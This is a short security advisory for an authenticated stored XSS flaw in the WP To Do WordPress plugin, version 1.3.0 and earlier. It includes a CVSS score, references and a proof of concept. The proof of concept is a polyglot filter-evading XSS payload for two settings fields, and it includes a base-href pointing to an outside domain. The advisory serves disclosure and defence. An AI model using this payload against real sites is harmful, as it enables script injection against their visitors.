Description

The WP To Do plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.3.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

Severity

4.4 (Medium) - CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Affected Version

<= 1.3.0

PoC :

- Go To WP To Do/Settings
- Put this payload on field "Email subject" & "Email Body"
JavaScript://%0A/*?'/*\\'/*"/*\\"/*`/*\\`/*&apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(confirm)(1+2+3+4+5+6+7+8+9+10+11+12+13+14+15+16+17+18+19+20+45+500+1000-400-20+2)}//><Base/Href=//ener1-s3c.github.io\\76-->
- Submit Query

Reference

  • https://plugins.trac.wordpress.org/browser/wp-todo/trunk/inc/Base/Model.php#L304
  • https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-todo/wp-to-do-130-authenticated-admin-stored-cross-site-scripting-via-settings